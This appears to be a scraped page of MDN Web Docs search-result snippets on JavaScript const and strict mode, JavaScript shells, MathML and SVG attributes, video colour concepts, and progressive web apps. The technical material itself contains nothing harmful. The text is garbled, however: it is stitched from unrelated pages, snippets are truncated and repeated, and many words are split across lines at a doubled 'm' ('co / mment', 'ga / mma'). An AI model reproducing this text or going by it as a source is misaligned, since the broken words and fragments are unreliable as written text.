...assigned. for instance, in the case where the content is an object, this means the object's contents (e.g., its properties) can be altered. all the considerations about the "temporal dead zone" apply to both let and const. a constant cannot share its name with a function or a variable in the same scope. examples basic const usage constants can be declared with uppercase or lowercase, but a co
mmon convention is to use all-uppercase letters. // define my_fav as a constant and give it the value 7 const my_fav = 7; // this will throw an error - uncaught typeerror: assignment to constant variable. my_fav = 20; // my_fav is 7 console.log('my favorite number is: ' + my_fav); // trying to redeclare a constant throws an error // uncaught syntaxerror: identifier 'my_fav' has already been decl...
...ays const also works on objects and arrays. const my_object = {'key': 'value'}; // attempting to overwrite the object throws an error // uncaught typeerror: assignment to constant variable. my_object = {'other_key': 'value'}; // however, object keys are not protected, // so the following statement is executed without problem my_object.key = 'othervalue'; // use object.freeze() to make object i
mmutable // the same applies to arrays const my_array = []; // it's possible to push items into the array my_array.push('a'); // ["a"] // however, assigning a new array to the variable throws an error // uncaught typeerror: assignment to constant variable. my_array = ['b']; specifications specification ecmascript (ecma-262)the definition of 'let and const declarations' in th...
Strict mode - JavaScript
lifying eval and arguments, changes making it easier to write "secure" javascript, and changes anticipating future ecmascript evolution. converting mistakes into errors strict mode changes some previously-accepted mistakes into errors. javascript was designed to be easy for novice developers, and sometimes it gives operations which should be errors non-error semantics. sometimes this fixes the i
mmediate problem, but sometimes this creates worse problems in the future. strict mode treats these mistakes as errors so that they're discovered and promptly fixed. first, strict mode makes it impossible to accidentally create global variables. in normal javascript mistyping a variable in an assignment creates a new property on the global object and continues to "work" (although future failure is ...
...e.assert(fun.call(2) === 2); console.assert(fun.apply(null) === null); console.assert(fun.call(undefined) === undefined); console.assert(fun.bind(true)() === true); that means, among other things, that in browsers it's no longer possible to reference the window object through this inside a strict mode function. second, in strict mode it's no longer possible to "walk" the javascript stack via co
mmonly-implemented extensions to ecmascript. in normal code with these extensions, when a function fun is in the middle of being called, fun.caller is the function that most recently called fun, and fun.arguments is the arguments for that invocation of fun. both extensions are problematic for "secure" javascript because they allow "secured" code to access "privileged" functions and their (potentiall...
...atements outside top level are permitted in es2015. 'use strict'; if (true) { function f() { } // !!! syntax error f(); } for (var i = 0; i < 5; i++) { function f2() { } // !!! syntax error f2(); } function baz() { // kosher function eit() { } // also kosher } this prohibition isn't strict mode proper because such function statements are an extension of basic es5. but it is the reco
mmendation of the ecmascript co
mmittee, and browsers will implement it. strict mode in browsers the major browsers now implement strict mode. however, don't blindly depend on it since there still are numerous browser versions used in the wild that only have partial support for strict mode or do not support it at all (e.g. internet explorer below version 10!). strict mode changes semantics. relying...
JavaScript shells - JavaScript
t shell including both native and javascript libraries. gluescript - a standalone javascript shell for writing cross-platform javascript applications. it can use wxwidgets for gui apps and was formerly called wxjavascript. jspl - a standalone javascript shell enhanced by perl. ...
.... gluescript - a standalone javascript shell for writing cross-platform javascript applications. it can use wxwidgets for gui apps and was formerly called wxjavascript. jspl - a standalone javascript shell enhanced by perl. can use perl modules directly from javascript: dbi for database integration, gtk2 for gui apps, posix for system progra
mming, etc. the best of cpan now for javascript progra
mmers. shelljs - portable unix shell co
mmands for node.js list of javascript shells the following javascript shells work with mozilla. firefox has a built-in javascript console, which support multi-line editing. javascript shell (js) - a co
mmand line interpreter for javascript xpcshell is an xpconnect - enabled shell, sometimes useful for mozilla development. babel repl - a browser-based r...
...imenting with future javascript. es6console.com - an open-source javascript console to test ecmascript 2015 code inside the browser. jsconsole.com -- an open-source javascript console with the ability to easily link to particular expressions javascript shell (web page) - also available as part of the extension developer's extension jash: javascript shell - a dhtml based shell that gives you co
mmand line access to a web page. mozrepl - connect to firefox and other mozilla apps, explore and modify them from the inside, while they're running. execute js - (no longer maintained) - firefox-extension which provides an enhanced javascript-console, where you can comfortably enter and execute arbitrary javascript-code and modify functions. xqjs - simple console for firefox. ...
MathML attribute reference - MathML
e allowed due to changes in scriptlevel. scriptsizemultiplier <mstyle> specifies the multiplier to be used to adjust font size due to changes in scriptlevel. selection <maction> the child element which is addressed by the action. separator <mo> there is no visual effect for this attribute, but it specifies whether the operator is a separator (such as co
mmas). separators <mfenced> a sequence of zero or more characters to be used for different separators. unimplemented shift <msgroup> unimplemented side <mtable> specifies the position where <mlabeledtr> label elements should be placed. unimplemented src <mglyph> the location of the image resource. unimplemented stackalign <msta...
... <msgroup> unimplemented side <mtable> specifies the position where <mlabeledtr> label elements should be placed. unimplemented src <mglyph> the location of the image resource. unimplemented stackalign <mstack> stretchy <mo> specifies whether the operator stretches to the size of the adjacent element. ...
...ed src <mglyph> the location of the image resource. unimplemented stackalign <mstack> stretchy <mo> specifies whether the operator stretches to the size of the adjacent element. subscriptshift <
mmultiscripts>, <msub>, <msubsup> the minimum space by which to shift the subscript below the baseline of the expression. supscriptshift <
mmultiscripts>, <msup>, <msubsup> the minimum space by which to shift the superscript above the baseline of the expression. sy
mmetric <mo> if stretchy is true, this attribute specifies whether the operator should be vertically sy
mmetric around the imaginary math axis (centered fraction line). voffset <mpadded> sets the vertical position of the child content. ...
<math> - MathML
documents with mathml must be served as application/xhtml+xml. you can achieve that easily by adding the .xhtml extension to your local files. for apache servers you can configure your .htaccess file to map extensions to the correct mime type. ...
....xhtml extension to your local files. for apache servers you can configure your .htaccess file to map extensions to the correct mime type. since you notate your mathml in an xml document, also be sure you write a well-formed xml document. ...
... type. since you notate your mathml in an xml document, also be sure you write a well-formed xml document. specifications specification status co
mment mathml 3.0the definition of 'the top-level math element' in that specification. ...
<merror> - MathML
background color. you can use #rgb, #rrggbb and html color names. mathcolor the text color and also the fraction line color. you can use #rgb, #rrggbb and html color names. ...
... color and also the fraction line color. you can use #rgb, #rrggbb and html color names. ...
...rror> <mrow> <mtext> division by zero: </mtext> <mfrac> <mn> 1 </mn> <mn> 0 </mn> </mfrac> </mrow> </merror> </math> specifications specification status co
mment mathml 3.0the definition of 'merror' in that specification. reco
mmendation current specification mathml 2.0the definition of 'merror' in that specification. reco
mmendation initial specification ...
<mglyph> - MathML
fied uri. mathbackground the background color (if the image has transparency). you can use #rgb, #rrggbb and html color names. src the image url. valign specifies the vertical alignment with respect to the current baseline. ...
...an use #rgb, #rrggbb and html color names. src the image url. valign specifies the vertical alignment with respect to the current baseline. width the width of the image. ...
...espect to the current baseline. width the width of the image. ...
<mphantom> - MathML
ovided for use with stylesheets. mathbackground the background color. you can use #rgb, #rrggbb and html color names. ...
..., #rrggbb and html color names. ...
... <math> <mrow> <mi> x </mi> <mo> + </mo> <mphantom> <mi> y </mi> <mo> + </mo> </mphantom> <mi> z </mi> </mrow> </math> specifications specification status co
mment mathml 3.0the definition of 'mphantom' in that specification. reco
mmendation current specification mathml 2.0the definition of 'mphantom' in that specification. reco
mmendation initial specification ...
<mroot> - MathML
. mathbackground the background color. you can use #rgb, #rrggbb and html color names. mathcolor the text color and also the color of the root symbol itself. you can use #rgb, #rrggbb and html color names. ...
...es. mathcolor the text color and also the color of the root symbol itself. you can use #rgb, #rrggbb and html color names. ...
... color names. ...
<mrow> - MathML
b, #rrggbb and html color names. mathcolor the text color. you can use #rgb, #rrggbb and html color names. ...
...bb and html color names. ...
...mrow> <mrow> <mo> ( </mo> <mrow> <mi> x </mi> <mo> , </mo> <mi> y </mi> </mrow> <mo> ) </mo> </mrow> </math> specifications specification status co
mment mathml 3.0the definition of 'mrow' in that specification. reco
mmendation current specification mathml 2.0the definition of 'mrow' in that specification. reco
mmendation initial specification ...
<msqrt> - MathML
a specified uri. mathbackground the background color. you can use #rgb, #rrggbb and html color names. mathcolor the text color and also the color of the root symbol itself. you can use #rgb, #rrggbb and html color names. ...
...d html color names. mathcolor the text color and also the color of the root symbol itself. you can use #rgb, #rrggbb and html color names. ...
...#rrggbb and html color names. ...
<msub> - MathML
html color names. subscriptshift the minimum space by which to shift the subscript below the baseline of the expression, as a length value. this attribute is deprecated and will be removed in the future. ...
...ipt below the baseline of the expression, as a length value. this attribute is deprecated and will be removed in the future. ...
... in the future. ...
<msubsup> - MathML
rscript above the baseline of the expression, as a length value. this attribute is deprecated and will be removed in the future. ...
...recated and will be removed in the future. ...
... 1 <math displaystyle="true"> <msubsup> <mo> ∫<!--integral --> </mo> <mn> 0 </mn> <mn> 1 </mn> </msubsup> </math> specifications specification status co
mment mathml 3.0the definition of 'msubsup' in that specification. reco
mmendation current specification mathml 2.0the definition of 'msubsup' in that specification. reco
mmendation initial specification ...
<msup> - MathML
color names. superscriptshift the minimum space by which to shift the superscript up from the baseline of the expression, as a length value. this attribute is deprecated and will be removed in the future. ...
...t up from the baseline of the expression, as a length value. this attribute is deprecated and will be removed in the future. ...
... in the future. ...
<mtd> - MathML
s. mathcolor the text color. you can use #rgb, #rrggbb and html color names. rowalign specifies the vertical alignment of this cell and overrides values specified by <mtable> or <mtr>. ...
...align specifies the vertical alignment of this cell and overrides values specified by <mtable> or <mtr>. possible values are: axis, baseline, bottom, center and top. ...
...ssible values are: axis, baseline, bottom, center and top. rowspan a non-negative integer value that indicates on how many rows does the cell extend. ...
<mtr> - MathML
hyperlink to a specified uri. mathbackground the background color. you can use #rgb, #rrggbb and html color names. mathcolor the text color. you can use #rgb, #rrggbb and html color names. ...
...gb, #rrggbb and html color names. mathcolor the text color. you can use #rgb, #rrggbb and html color names. rowalign overrides the vertical alignment of cells specified by <mtable> for this row. ...
... rowalign overrides the vertical alignment of cells specified by <mtable> for this row. possible values are: axis, baseline, bottom, center and top. ...
<munderover> - MathML
and html color names. mathcolor the text color. you can use #rgb, #rrggbb and html color names. ...
... names. ...
... <munderover > <mo> ∫ <!--integral--> </mo> <mn> 0 </mn> <mi> ∞ <!--infinity--> </mi> </munderover> </math> specifications specification status co
mment mathml 3.0the definition of 'munderover' in that specification. reco
mmendation current specification mathml 2.0the definition of 'munderover' in that specification. reco
mmendation initial specification ...
Digital video concepts - Web media technologies
ive a color image. doing so allows color data to be represented using fewer total bits of space in a video stream. the name "yuv" is generally used today to describe this color system, even though the term was originally used specifically for analog coding of color, while ycbcr was used for digital color. however, today both terms are used for digital color. the prime symbol, ', indicates that ga
mma compression is being used. contemplating human vision we're able to represent an image this way because the human eye sees far more detail in greyscale than in color, thanks to biology. the human eye contains two kinds of photoreceptor (light-sensing) cells. the rods are highly-sensitive light intensity sensors. the cones are less sensitive but are able to detect color. because the eye has va...
...d by the brain, which essentially layers the colors onto the greyscale pixels. yuv concepts yuv works by defining a color space with three components: luma (y') the brightness of the pixel. without the other two components, the luma of each pixel in the frame produces a greyscale representation of the image. ...
...m of the ga
mma-corrected red, green, and blue components of the pixel, using the formula y' = 0.2126r' + 0.7152g' + 0.0722b'. this weighting is performed because of the previously-mentioned ratio of green, red, and blue cones in the eye. blue-difference (u or cb) the blue-difference component of the chroma, or color, of the color sample. this value is computed by subtracting the luma from the ga
mma corrected blue value; that is, u = b' - y'. red-difference (v or cr) the red-difference component of the chroma of the color sample. computed by substracting luma from the ga
mma corrected red value: v = r' - y'. chroma subsampling chroma subsampling is the process of converting the color pixels into a greyscale image and a matrix of u and v values indicating the colors to map to those pixel...
Media type and format guide: image, audio, and video content - Web media technologies
file types) a guide to the file types that contain media data. some are audio-specific, while others may be used for either audio or combined audiovisual content such as movies. includes overviews of each of the file types supported by the major web browsers, along with browser support information and supported features. ...
... codecs allowed for by the co
mmon media containers, as well as by the major browsers. includes benefits, limitations, key specifications and capabilities, and use cases. it also covers each browser's support for using the codec in given containers. web video codec guide this article provides basic information about the video codecs supported by the major browsers, as well as some that are not co
mmonly supported but that you might still run into. it also covers codec capabilities, benefits, limitations, and browser support levels and restrictions. the "codecs" parameter in co
mmon media types when specifying the mime type describing a media format, you can provide details using the codecs parameter as part of the type string. this guide describes the format and possible values of the codec...
...t you might still run into. it also covers codec capabilities, benefits, limitations, and browser support levels and restrictions. the "codecs" parameter in co
mmon media types when specifying the mime type describing a media format, you can provide details using the codecs parameter as part of the type string. this guide describes the format and possible values of the codecs parameter for the co
mmon media types. codecs used by webrtc webrtc doesn't use a container, but instead streams the encoded media itself from peer to peer using mediastreamtrack objects to represent each audio or video track. this guide discusses the codecs co
mmonly used with webrtc. guides concepts digital audio concepts an introduction to how audio is converted into digital form and stored for use by compu...
Mapping the width and height attributes of media container elements to their aspect-ratio - Web media technologies
tunately it causes the jank problem to return — the above css overrides the width and height attribute information, meaning that if the image has not loaded for some reason, its height will be set to 0. when the image finally loads, the same jank will occur as the page layout is shifted to make space for it. ...
...e for it. a new way of sizing images before loading completes recognizing the problem, a wicg co
mmunity group formed to propose an intrinsicsize attribute. folks from mozilla then expanded on this thinking, working on a proposal in the css box sizing level 4 draft to define an aspect-ratio property and propose the idea of using the width and height attributes to compute layout. fantasai & jen si
mmons collaborated with emilio, who worked on an experimental implementation to prove it would work. mozilla then brought the idea up in the wicg co
mmunity group and discussed it further until representatives from chrome were onboard with the idea. due to this work, browsers are working on adding a new mechanism for sizing images before the actual image is loaded. firefox has added an internal asp...
...atio of something other than the image’s intrinsic aspect ratio. once such an image loads, if the internal aspect ratio is still applied it will result in the <img> not displaying the image correctly. therefore, once the image is loaded, we start using the intrinsic aspect ratio of the loaded image rather than the aspect ratio from the attributes, so it displays at the correct aspect ratio. su
mmary so there you have it — eliminating another piece of jank from web layout! there is no need for a web developer to do anything special to their code to take advantage of this, besides returning to the habit of using width and height attributes in their html. they'll just get it for free. note: this new mechanism is enabled in firefox 69 in beta and nightly as the spec is worked out (contro...
CSS and JavaScript animation performance - Web Performance
transitions and animations both css transitions and animations can be used to write animation. they each have their own user scenarios: css transitions provide an easy way to make animations occur between the current style and an end css state, e.g., a resting button state and a hover state. even if an element is in the middle of a transition, the new transition starts from the current style i
mmediately instead of jumping to the end css state. see using css transitions for more details. css animations, on the other hand, allow developers to make animations between a set of starting property values and a final set rather than between two states. css animations consist of two components: a style describing the css animation, and a set of key frames that indicate the start and end states o...
...mance of css animations and requestanimationframe() are very close. off main thread animation even given the test results above, we'd argue that css animations are the better choice. but how? the key is that as long as the properties we want to animate do not trigger reflow/repaint (read css triggers for more information), we can move those sampling operations out of the main thread. the most co
mmon property is the css transform. if an element is promoted as a layer, animating transform properties can be done in the gpu, meaning better performance/efficiency, especially on mobile. find out more details in offmainthreadcompositing. to enable the omta (off main thread animation) in firefox, you can go to about:config and search for the layers.offmainthreadcomposition.async-animations. togg...
...ion.async-animations. toggle its value to true. after enabling omta, try running the above test again. you should see that the fps of the css animations will now be significantly higher. note: in nightly/developer edition, you should see that omta is enabled by default, so you might have to do the tests the other way around (test with it enabled first, then disable to test without omta.) su
mmary browsers are able to optimize rendering flows. in su
mmary, we should always try to create our animations using css transitions/animations where possible. if your animations are really complex, you may have to rely on javascript-based animations instead. ...
Privacy, permissions, and information security
he server might be useful as a factor in fingerprinting. because of this, browsers typically introduce a small amount of variability to timers in order to make them less useful for identifying the user's system. privacy and security controls there are multiple layers of controls for helping to protect users against security and privacy breaches. these start at the web server, include the very co
mmunication layer used over the network, and then extend through the web browser's security offerings before reaching your web app code and the efforts it takes to secure itself and the data the user entrusts to it. there are several web technologies and features at play to manage privacy and security. the following list includes features affecting both, since many of these features are used for b...
...p) hpkp is used by servers to instruct a client to associate a specific public key with the server going forward in order to decrease the likelihood of man-in-the-middle attacks http strict transport security (hsts) hsts is used by servers to let them protect themselves from protocol downgrade and cookie hijack attacks by letting sites tell clients that they can only use https to co
mmunicate with the server http/2 while http/2 technically does not have to use encryption, most browser developers are only supporting it when used with https, so it can be thought of in that regard as being security-related permissions api provides a way to determine the status of permissions for the current browser context transport layer security (tls); formerly k...
...with permissions and so forth; how to use them together, how they interact, etc> permission requests in <iframe> elements things can get tricky when your web app uses the <iframe> element to embed content from another site inside your own, especially if the document you load into the frame has its own permission needs to consider. while specifications for these technologies either state or reco
mmend tactics for handling situations like this, browsers may offer different solutions to improve security even further or to try new features, or try to reduce complexity for users, among other possible reasons. <--- allow attribute, feature policy, and permissions api stuff ---> a specific user experience issue that often arises is a document that's loaded with permission to access a resource a...
How to make PWAs installable - Progressive web apps (PWAs)
ded for the browser to present the web app properly during the installation process, as well as within the device's app-launching interface, such as the home screen of a mobile device. the js13kpwa.webmanifest file of the js13kpwa web app is included in the <head> block of the index.html file using the following line of code: <link rel="manifest" href="js13kpwa.webmanifest"> there are a few co
mmon kinds of manifest file that have been used in the past: manifest.webapp was popular in firefox os app manifests, and many use manifest.json for web manifests as the contents are organized in a json structure. however, the .webmanifest file format is explicitly mentioned in the w3c manifest specification, so that's what we'll use here. the content of the file looks like this: { "name": "js1...
...ng system. background_color: a color used as the app's default background, used during install and on the splash screen. a minimal web manifest must have at least a name and an icons field with at least one icon defined; that icon must have at least the src, sizes, and type sub-fields as well. beyond that, everything is optional, though the description, short_name, and start_url fields are reco
mmended. there are even more fields you can use than listed above — be sure to check the web app manifest reference for details. add to home screen "add to home screen" (or a2hs for short) is a feature implemented by mobile browsers that takes the information found in an app's web manifest and uses them to represent the app on the device's home screen with an icon and name. this only works if th...
...the screen shot above, for example, the app has a tiny firefox icon, indicating that it's a web app that uses the firefox runtime. splash screen in some browsers, a splash screen is also generated from the information in the manifest, which is shown when the pwa is launched and while it's being loaded started up. the icon and the theme and background colors are used to create this screen. su
mmary in this article, we learned about how we can make pwas installable with a properly-configured web manifest, and how the user can then install the pwa with the "add to home screen" feature of their browser. for more information on a2hs, be sure to read our add to home screen guide. browser support is currently limited to firefox for android 58+, mobile chrome and android webview 31+, and oper...
Graphic design for responsive sites - Progressive web apps (PWAs)
ve to support, how complex the graphics need to be, and how much interactivity your graphics require. serving images selectively via css in general, you will use mostly the same graphical assets for different layouts in a responsive design, but you may well include slightly different ones dependant on context. for example, if your desktop layout includes a large header graphic and several progra
mmatic graphics (e.g. css3 drop shadows and gradients), you may want to simplify or remove certain assets for the site's mobile layout, or even provide smaller assets to suit the smaller screen better. this is because in general mobile devices will have less processing power and bandwidth available, so you want to reduce the processing and downloads. in addition, mobile devices have smaller screen s...
...t zoom factor to the whole web page so that the content is a bit more legible, but the downside of this is that the images in question start to look pixellated and ugly because they have been zoomed in. high res and low res image copies one option here is to create a hi res and a low res set of images, then use resolution media queries to serve the hi res images only to hi res devices. progra
mmatic images you should also try to use progra
mmatic/vector graphics as much as possible, as they theoretically scale infinitely so will still look crisp at high resolutions. you could use css3 properties for generating effects like drop shadows, gradients and rounded corners, and you could also consider using svg for other ui elements, instead of raster graphics formats. the downsides here are th...
...es to style your web font icons, such as text-shadow and color. making your own font file can be a bit fiddly, but there are a number of good icon font services available such as font awesome. interactive images if your images need to feature some level of interactivity, such as links, other clickable areas, or animation, there are a number of options available. css as well as adding progra
mmatic graphical effects to links (and anywhere else you might want them), css3 also allows you to write declarative animations and transitions. these may not be supported in older browsers like ie6-8, but they generally degrade gracefully, are fairly easy to write, and become much more flexible and powerful when combined with javascript and other technologies. javascript javascript has functions ...
Structural overview of progressive web apps - Progressive web apps (PWAs)
oach involving the streams api, which we'll mention briefly. the app shell concept the app shell concept is concerned with loading a minimal user interface and content as soon as possible, caching it so it's available offline for subsequent visits before then loading the remainder of the app's contents. that way, the next time someone visits the app from the device, the ui loads from the cache i
mmediately and any new content is requested from the server (if it isn’t available in the cache already). this structure is fast, and also feels fast as the user sees "something" instantly, instead of a loading spinner or a blank page. it also allows the website to be accessible offline if the network connection is not available. we can control what is requested from the server and what is retr...
... entries</h1> <p class="description">list of games submitted to the <a href="http://js13kgames.com/aframe"> a-frame category</a> in the <a href="http://2017.js13kgames.com">js13kgames 2017</a> competition. ...
...cyberspace', author: 'zosia and bartek', twitter: 'bartaz', website: '', github: 'github.com/bartaz/lost-in-cyberspace' }, { slug: 'vernissage', name: 'vernissage', author: 'platane', twitter: 'platane_', website: 'github.com/platane', github: 'github.com/platane/js13k-2017' }, // ... { slug: 'e
mma-3d', name: 'e
mma-3d', author: 'prateek roushan', twitter: '', website: '', github: 'github.com/coderprateek/e
mma-3d' } ]; each entry in the array games describes a specific game, and has a corresponding image file in the data/img/ directory. this is the content we'll load into the content section of the page using javascript code. ...
alignment-baseline - SVG: Scalable Vector Graphics
anchors --> <circle cx="60" cy="10" r="3" fill="red" /> <circle cx="60" cy="65" r="3" fill="red" /> <circle cx="60" cy="110" r="3" fill="red" /> <style><![cdata[ text{ font: bold 36px verdana, helvetica, arial, sans-serif; } ]]></style> </svg> for object alignment in other elements (such as <text>), see dominant-baseline. ...
...tyle> </svg> for object alignment in other elements (such as <text>), see dominant-baseline. specifications specification status co
mment css inline layoutthe definition of 'alignment-baseline' in that specification. working draft no change scalable vector graphics (svg) 2the definition of 'alignment-baseline' in that specification. ...
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
bbox - SVG: Scalable Vector Graphics
the bbox attribute defines the maximal bounding box of a font. ...
... one element is using this attribute: <font-face> usage notes value <string> default value none animatable no <string> a co
mma-separated list of exactly four numbers specifying, in order, the lower left x, lower left y, upper right x, and upper right y of the bounding box for the complete font. ...
... animatable no <string> a co
mma-separated list of exactly four numbers specifying, in order, the lower left x, lower left y, upper right x, and upper right y of the bounding box for the complete font. specifications specification status co
mment scalable vector graphics (svg) 1.1 (second edition)the definition of 'bbox' in that specification. ...
class - SVG: Scalable Vector Graphics
using css. usage context categories none value <list-of-class-names> animatable yes normative document svg 1.1 (2nd edition): the class attribute list-of-ts <list-of-ts> (where t is some type.) a list consists of a separated sequence of values. ...
... value <list-of-class-names> animatable yes normative document svg 1.1 (2nd edition): the class attribute list-of-ts <list-of-ts> (where t is some type.) a list consists of a separated sequence of values. unless explicitly described differently, lists within svg's xml attributes can be either co
mma-separated (with optional white space before or after the co
mma), or white space-separated. ...
...for example, a <list-of-lengths> is represented in the svg dom using an svglengthlist or svganimatedlengthlist object. ...
clip - SVG: Scalable Vector Graphics
viewport created by the given element.the value rect() defines a clipping rectangle following the following syntax: rect(<top>, <right>, <bottom>, <left>). ...
...yntax: rect(<top>, <right>, <bottom>, <left>). the <top> and <bottom> values specify offsets from the top border edge of the element viewport, while <right> and <left> specify offsets from the left border edge of the element viewport. ...
...he left border edge of the element viewport. specifications specification status co
mment css masking module level 1the definition of 'clip' in that specification. candidate reco
mmendation deprecates clip property, suggests clip-path as replacement. ...
clipPathUnits - SVG: Scalable Vector Graphics
indicates that all coordinates inside the <clippath> element are relative to the bounding box of the element the clipping path is applied to. ...
...ing path is applied to. it means that the origin of the coordinate system is the top left corner of the object bounding box and the width and height of the object bounding box are considered to have a length of 1 unit value. ...
...d height of the object bounding box are considered to have a length of 1 unit value. specifications specification status co
mment css masking module level 1the definition of 'clippathunits' in that specification. ...
contentStyleType - SVG: Scalable Vector Graphics
ailable on many elements. the value specifies a media type, per mime part two: media types [rfc2046]. ...
...as default value if contentstyletype is o
mmitted, the attribute is not well supported in user agents. if other style sheet languages become more popular they might not use the style attribute, instead it could be easily declared which style language is used in the <style>'s type attribute. the use of contentstyletype is therefore deprecated. specifications specification status co
mment scalable vector graphics (svg) 1.1 (second edition)the definition of 'contentscripttype' in that specification. ...
...e more popular they might not use the style attribute, instead it could be easily declared which style language is used in the <style>'s type attribute. ...
display - SVG: Scalable Vector Graphics
column-group | table-column | table-caption | ruby-base | ruby-text | ruby-base-container | ruby-text-container<display-box> = contents | none<display-legacy> = inline-block | inline-list-item | inline-table | inline-flex | inline-grid animatable yes for a description of the values, please refer to the css display property. ...
...-box> = contents | none<display-legacy> = inline-block | inline-list-item | inline-table | inline-flex | inline-grid animatable yes for a description of the values, please refer to the css display property. specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'display' in that specification. ...
...ations specification status co
mment scalable vector graphics (svg) 2the definition of 'display' in that specification. candidate reco
mmendation refers to the css 2 specification of the display property, but outlines the differences regarding svg. scalable vector graphics (svg) 1.1 (second edition)the definition of 'display' in that specification. ...
dominant-baseline - SVG: Scalable Vector Graphics
css inline layoutthe definition of 'dominant-baseline' in that specification. working draft removed the values...
... <circle cx="60" cy="220" r="3" fill="red" /> <circle cx="60" cy="270" r="3" fill="red" /> <style><![cdata[ text { font: bold 30px verdana, helvetica, arial, sans-serif; } ]]></style> </svg> result specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'dominant-baseline' in that specification. candidate reco
mmendation refers to the specification in working draft and explicitly mentions the removal of the values use-script, no-change, and reset-size. css inline layoutthe definition of 'dominant-baseline' in that specification. working draft removed the values use-script, no-change, and reset-size and introduced the text-top value. scalable vector graphics (svg) 1.1 (second edi...
...entions the removal of the values use-script, no-change, and reset-size. css inline layoutthe definition of 'dominant-baseline' in that specification. working draft removed the values use-script, no-change, and reset-size and introduced the text-top value. scalable vector graphics (svg) 1.1 (second edition)the definition of 'dominant-baseline' in that specification. reco
mmendation initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on ...
dur - SVG: Scalable Vector Graphics
value <clock-value> | media | indefinite default value indefinite animatable no <clock-value> this value specifies the length of the simple duration. the value must be greater than 0 and can be expressed with hours (h), minutes (m), seconds (s) or milliseconds (ms). itʼs possible to combine those time representations to create some complex durations like hh:
mm:ss.iii or
mm:ss.iii. media this value specifies the simple duration as the intrinsic media duration. this is only valid for elements that define media. (for animation elements the attribute will be ignored if media is specified.) indefinite this value specifies the simple duration as indefinite. note: the interpolation will not work if the simple duration is indefinite (although this ...
...ation. this is only valid for elements that define media. (for animation elements the attribute will be ignored if media is specified.) indefinite this value specifies the simple duration as indefinite. ...
...ion will not work if the simple duration is indefinite (although this may still be useful for <set> elements). specifications specification status co
mment svg animations level 2the definition of 'dur' in that specification. ...
exponent - SVG: Scalable Vector Graphics
the exponent attribute defines the exponent of the ga
mma function. ...
... <lineargradient id="gradient" gradientunits="userspaceonuse" x1="0" y1="0" x2="200" y2="0"> <stop offset="0" stop-color="#ff0000" /> <stop offset="0.5" stop-color="#00ff00" /> <stop offset="1" stop-color="#0000ff" /> </lineargradient> </defs> <filter id="componenttransfer1" x="0" y="0" width="100%" height="100%"> <fecomponenttransfer> <fefuncr type="ga
mma" exponent="1"/> <fefuncg type="ga
mma" exponent="1"/> <fefuncb type="ga
mma" exponent="1"/> </fecomponenttransfer> </filter> <filter id="componenttransfer2" x="0" y="0" width="100%" height="100%"> <fecomponenttransfer> <fefuncr type="ga
mma" exponent="5"/> <fefuncg type="ga
mma" exponent="5"/> <fefuncb type="ga
mma" exponent="5"/> </fecomponenttransfer> ...
..."url(#gradient)" style="filter: url(#componenttransfer1);" /> <rect x="0" y="0" width="200" height="200" fill="url(#gradient)" style="filter: url(#componenttransfer2); transform: translatex(220px);" /> </svg> usage notes value <number> default value 1 animatable yes <number> if the type attribute of the component element is set to ga
mma, this value specifies the exponent of the ga
mma function specifications specification status co
mment filter effects module level 1the definition of 'exponent' in that specification. working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'exponent' in that specification. reco
mmendation initial definition ...
fill-opacity - SVG: Scalable Vector Graphics
? firefox android ? opera android ? safari ios ? samsung internet android ? ...
... safari ios ? samsung internet android ? ...
... compatibility unknown specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'fill-opacity' in that specification. ...
fill-rule - SVG: Scalable Vector Graphics
? firefox android ? opera android ? safari ios ? samsung internet android ? ...
... safari ios ? samsung internet android ? ...
...n compatibility unknown specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'fill-rule' in that specification. ...
font-size-adjust - SVG: Scalable Vector Graphics
d number times the font-size. the number specified should generally be the aspect ratio (ratio of x-height to font size) of the first choice font-family. this means that the first-choice font, when available, will appear the same size in browsers, whether or not they support font-size-adjust. ...
...e) of the first choice font-family. this means that the first-choice font, when available, will appear the same size in browsers, whether or not they support font-size-adjust. 0 yields text of zero height (hidden text). ...
...upport font-size-adjust. 0 yields text of zero height (hidden text). specifications specification status co
mment css fonts module level 3the definition of 'font-size-adjust' in that specification. ...
font-variant - SVG: Scalable Vector Graphics
has effect only on the following eight elements: <altglyph>, <text>, <textpath>, <tref>, and <tspan> html, body, svg { height: 100%; } <svg viewbox="0 0 250 30" xmlns="http://www.w3.org/2000/svg"> <text y="20" font-variant="normal">normal text</text> <text x="100" y="20" font-variant="small-caps">small-caps text</text> </svg> usage notes value normal | none | [ <co
mmon-lig-values> || <discretionary-lig-values> || <historical-lig-values> || <contextual-alt-values> || stylistic( <feature-value-name> ) || historical-forms || styleset( <feature-value-name># ) || character-variant( <feature-value-name># ) || swash( <feature-value-name> ) || ornaments( <feature-value-name> ) || annotation( <feature-value-name> ) || [ small-caps | all-small-caps | petite-caps | all-...
...tling-caps ] || <numeric-figure-values> || <numeric-spacing-values> || <numeric-fraction-values> || ordinal || slashed-zero || <east-asian-variant-values> || <east-asian-width-values> || ruby ] default value normal animatable yes for a description of the values, please refer to the css font-variant property. specifications specification status co
mment css fonts module level 4the definition of 'font-variant' in that specification. working draft no change css fonts module level 3the definition of 'font-variant' in that specification. candidate reco
mmendation added many more keywords for different types of variations. scalable vector graphics (svg) 1.1 (second edition)the definition of 'font-variant' ...
...ule level 4the definition of 'font-variant' in that specification. working draft no change css fonts module level 3the definition of 'font-variant' in that specification. ...
g1 - SVG: Scalable Vector Graphics
rning pair. all glyphs with the given glyph name are included in the set. the total set of possible first glyphs in the kerning pair is the union of glyphs specified by the u1 and g1 attributes. ...
...ute: <hkern> and <vkern> context notes value <name># default value none animatable no <name># this value indicates a co
mma-separated sequence of glyph names (i.e., values that match glyph-name attributes on <glyph> elements) which identify a set of possible first glyphs in the kerning pair. ...
... <name># this value indicates a co
mma-separated sequence of glyph names (i.e., values that match glyph-name attributes on <glyph> elements) which identify a set of possible first glyphs in the kerning pair. specifications specification status co
mment scalable vector graphics (svg) 1.1 (second edition)the definition of 'g1' in that specification. ...
